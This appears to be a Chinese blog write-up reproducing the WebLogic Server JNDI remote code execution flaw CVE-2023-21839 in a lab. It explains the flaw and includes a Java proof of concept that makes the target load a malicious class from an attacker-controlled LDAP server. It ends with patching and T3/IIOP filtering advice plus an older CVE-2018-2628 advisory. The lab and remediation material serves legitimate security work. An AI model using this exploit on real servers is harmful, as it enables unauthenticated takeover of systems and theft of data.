WebLogic Server 远程代码执行漏洞复现 (CVE-2023-21839)

Posted OidBoy_G

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了WebLogic Server 远程代码执行漏洞复现 (CVE-2023-21839)相关的知识,希望对你有一定的参考价值。

1、产品简介

Oracle WebLogic Server是一个统一的可扩展平台,用于在本地和云端开发、部署和运行企业应用程序,例如 Java。WebLogic Server提供了Java Enterprise Edition (EE)和Jakarta EE的可靠、成熟和可扩展的实现。

WebLogic是美商Oracle的主要产品之一,系购并得来。是商业市场上主要的Java应用服务器软件之一,是世界上第一个成功商业化的J2EE应用服务器,目前已推出到14c版。而此产品也延伸出WebLogic Portal, WebLogic Integration等企业用的中间件,以及OEPE开发工具。

2、漏洞概述

WebLogic存在远程代码执行漏洞,该漏洞允许未经身份验证的远程攻击者通过T3/IIOP协议网络访问并破坏易受攻击的WebLogic服务器,成功利用此漏洞可能导致Oracle WebLogic服务器被接管或敏感信息泄露。

Weblogic T3/IIOP反序列化命令执行漏洞

Weblogic t3/iiop协议支持远程绑定对象bind到服务端。并且可以通过lookup查看,代码:c.lookup("xxxxxx");。

当远程对象继承自OpaqueReference时,lookup查看远程对象时,服务端会调用远程对象getReferent方法。

weblogic.deployment.jms.ForeignOpaqueReference继承自OpaqueReference并且实现了getReferent方法,并且存在retVal = context.lookup(this.remoteJNDIName)实现,故可以通过rmi/ldap远程协议进行远程命令执行。

3、影响范围

Oracle WebLogic Server 12.2.1.3.0

Oracle WebLogic Server 12.2.1.4.0

Oracle WebLogic Server 14.1.1.0.0

4、复现环境

win10: 192.168.42.128

kali: 192.168.42.129

win10上搭建存在漏洞的WebLogic Server 12.2.1.3.0版本

环境搭建可以参考以下(很详细)

Oracle WebLogic12.2.1.3.0安装与配置(Windows)_风梧1994的博客-CSDN博客_weblogic 12.2.1.3.0

注意:JDNI注入由于其加载动态类原理是JNDI Reference远程加载Object Factory类的特性,在JDK 6u132, JDK 7u122, JDK 8u113版本中,系统属性com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为false,即默认不允许从远程的Codebase加载Reference工厂类。
在2018年10月,Java对LDAP Reference远程工厂类的加载增加了限制,在Oracle JDK 11.0.1、8u191、7u201、6u211之后,com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值被调整为false。
因此,搭建此漏洞复现环境时jdk版本需要< jdk 8u191 。 (推荐jdk 8u112)

安装好环境验证一下本地是否可以访问

 5、漏洞复现

利用poc如下:

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.lang.reflect.Field;
import java.util.Hashtable;

public class BindRce 
    static String JNDI_FACTORY="weblogic.jndi.WLInitialContextFactory";
    private static InitialContext getInitialContext(String url)throws NamingException
    
        Hashtable<String,String> env = new Hashtable<String,String>();
        env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
        env.put(Context.PROVIDER_URL, url);
        return new InitialContext(env);
    
    //iiop
    public static void main(String args[]) throws Exception 
       InitialContext c=getInitialContext("t3://127.0.0.1:7001");
        Hashtable<String,String> env = new Hashtable<String,String>();

        env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
        weblogic.deployment.jms.ForeignOpaqueReference f=new weblogic.deployment.jms.ForeignOpaqueReference();
        Field jndiEnvironment=weblogic.deployment.jms.ForeignOpaqueReference.class.getDeclaredField("jndiEnvironment");
        jndiEnvironment.setAccessible(true);
        jndiEnvironment.set(f,env);
        Field remoteJNDIName=weblogic.deployment.jms.ForeignOpaqueReference.class.getDeclaredField("remoteJNDIName");
        remoteJNDIName.setAccessible(true);
        remoteJNDIName.set(f,"ldap://xxxxxxxx/xxx");
        c.bind("xxxx",f);
        c.lookup("xxx");    

注意: weblogic10 及以后的版本,不能直接使用server/lib 目录下的 weblogic.jar 了,需要手动执行一个命令生成手动生成 wlfullclient.jar,用来替代老版本中的 weblogic.jar。
具体命令如下(Windows 系统,我的 weblogic 安装目录是 C:\\Oracle)

切换到C:\\Oracle\\Middleware\\Oracle_Home\\wlserver\\server\\lib 下,执行java -jar C:\\Oracle\\Middleware\\Oracle_Home\\wlserver\\modules\\com.bea.core.jarbuilder.jar

cd C:\\Oracle\\Middleware\\Oracle_Home\\wlserver\\server\\lib
java -jar C:\\Oracle\\Middleware\\Oracle_Home\\wlserver\\modules\\com.bea.core.jarbuilder.jar

#根据自己的路径去找包,生成wlfullclient.jar

 

打开IEDA创建一个Java项目并本地导入生成的wlfullclient.jar

 创建利用poc类,类名可自定义,并把里面的url都换成自己环境的;

kali开放LDAP和WEB服务,

 

执行poc,让目标加载恶意类造成RCE

 等了几秒没有反应,查看漏洞环境,发现被360拦截了,可以看到要去远程加载恶意类,点击允许

复现成功 

6、修复建议

厂商已发布了漏洞修复补丁,下载链接:https://support.oracle.com/rs?type=doc&id=2917213.2

Oracle WebLogic Server补丁安装方式

1.Oracle WebLogic Server 11g:

bsu.cmd -install -patch_download_dir=C:\\Oracle\\Middleware\\utils\\bsu\\cache_dir -patchlist=3L3H -prod_dir=C:\\Oracle\\Middleware\\wlserver_10.3

2.Oracle WebLogic Server 12c:

使用opatch apply 安装补丁

C:\\Oracle\\Middleware\\Oracle_Home\\OPatch>opatch apply 本机补丁地址

注:补丁编号请自行更改为新补丁编号。

禁用T3、IIOP协议具体操作步骤如下:

1.禁用T3:

进入WebLogic控制台,在base_domain的配置页面中,进入“安全”选项卡页面,点击“筛选器”,进入连接筛选器配置。

 在连接筛选器中输入:WebLogic.security.net.ConnectionFilterImpl,参考以下写法,在连接筛选器规则中配置符合企业实际情况的规则:

127.0.0.1 * * allow t3 t3s
本机IP * * allow t3 t3s
允许访问的IP * * allow t3 t3s 
* * * deny t3 t3s

连接筛选器规则格式如下:target localAddress localPort action protocols,其中:

target 指定一个或多个要筛选的服务器。

localAddress 可定义服务器的主机地址。(如果指定为一个星号 (*),则返回的匹配结果将是所有本地 IP 地址。)

localPort 定义服务器正在监听的端口。(如果指定了星号,则匹配返回的结果将是服务器上所有可用的端口)。

action 指定要执行的操作。(值必须为“allow”或“deny”。)

protocols 是要进行匹配的协议名列表。(必须指定下列其中一个协议:http、https、t3、t3s、giop、giops、dcom 或 ftp。) 如果未定义协议,则所有协议都将与一个规则匹配。

保存后若规则未生效,建议重新启动WebLogic服务(重启WebLogic服务会导致业务中断,建议相关人员评估风险后,再进行操作)。以Windows环境为例,重启服务的步骤如下:

进入域所在目录下的bin目录,在Windows系统中运行stopWebLogic.cmd文件终止WebLogic服务,Linux系统中则运行stopWebLogic.sh文件。

 

待终止脚本执行完成后,再运行startWebLogic.cmd或startWebLogic.sh文件启动WebLogic,即可完成WebLogic服务重启。

2.禁用IIOP:

经过测试,weblogic 12.1.3.0.0、weblogic 12.2.1.3.0(12c)、weblogic14.x(14c) 版本禁用IIOP协议的详细步骤如下:

登录weblogic后台之后,点开“域分区”—环境—服务器—“AdminServer(管理)”


 

 

 

漏洞预警|关于WebLogic Server WLS核心组件 存在反序列化漏洞


Weblogic 反序列化远程代码执行漏洞 (CVE-2018-2628)

漏洞描述   

      2018年4月18日,互联网爆出WebLogic Server WLS核心组件反序列化漏洞(CVE-2018-2628)。攻击者利用该漏洞,可在未授权的情况下远程执行代码。漏洞验证代码已被公开,近期被不法分子利用进行大规模攻击的可能性较大,厂商已发布补丁进行修复。该漏洞危害程度为高危(High)。

漏洞原理

       WebLogic Server是美国甲骨文(Oracle)公司开发的一款适用于云环境和传统环境的应用服务中间件,它提供了一个现代轻型开发平台,支持应用从开发到生产的整个生命周期管理,并简化了应用的部署和管理。在WebLogic Server 的 RMI(远程方法调用)通信中,T3协议(丰富套接字)用来在 WebLogic Server 和其他 Java 程序(包括客户端及其他 WebLogic Server 实例)间传输数据,该协议在开放WebLogic控制台端口的应用上默认开启。

       2018年4月18日凌晨,Oracle官方发布了4月份关键补丁更新CPU(Critical Patch Update),其中包含该Weblogic反序列化高危漏洞。利用该漏洞,攻击者可以在未经授权的情况下,远程发送攻击数据,通过T3协议在WebLogic Server中执行反序列化操作,反序列过程中会远程加载RMI registry,加载回来的registry又会被反序列化执行,最终实现了远程代码的执行。

影响范围

根据官方公告情况,该漏洞的影响版本如下:

WebLogic10.3.6.0

WebLogic12.1.3.0

WebLogic12.2.1.2

WebLogic12.2.1.3

据互联网对WebLogic服务在全球范围内的分布情况统计,结果显示该服务的全球规模约为6.9万,其中我国境内的用户量约为1.2万。随机抽样检测结果显示,大约为6%的WebLogic服务受此漏洞影响。

临时解决方案

可通过控制 T3 协议的访问来临时阻断针对该漏洞的攻击。WebLogic Server 提供了名为 weblogic.security.net.ConnectionFilterImpl 的默认连接筛选器,此连接筛选器接受所有传入连接,可通过此连接筛选器配置规则,对 t3 及t3s 协议进行访问控制,详细操作步骤如下:

1.进入Weblogic控制台,在base_domain的配置页面中,进入“安全”选项卡页面,点击“筛选器”,进入连接筛选器配置。

2 .在连接筛选器中输入:security.net.ConnectionFilterImpl,在连接筛选器规则中输入:* * 7001 deny t3 t3s

3.保存后规则即可生效,无需重新启动。

最终解决方案

       Oracle 官方已经在今天的关键补丁更新(CPU)中修复了该漏洞,强烈建议受影响的用户尽快升级更新进行防护。

注:Oracle 官方补丁需要用户持有正版软件的许可账号,使用该账号登陆https://support.oracle.com 后,可以下载最新补丁。

http://www.oracle.com/technetwork/security-advisory/cpujan2017-2881727.html


以上是关于WebLogic Server 远程代码执行漏洞复现 (CVE-2023-21839)的主要内容,如果未能解决你的问题,请参考以下文章

漏洞预警|关于WebLogic Server WLS核心组件 存在反序列化漏洞

Weblogic远程代码执行漏洞(CVE-2023-21839)复现/保姆级讲解

漏洞log4j2远程执行代码复现实操代码例子

CNVD-C-2019-48814 WebLogic反序列化远程命令执行漏洞

[漏洞预警]Oracle WebLogic wls9-async组件存在反序列化远程命令执行漏洞

Weblogic 管理控制台未授权远程命令执行漏洞(CVE-2020-14882,CVE-2020-14883)漏洞复现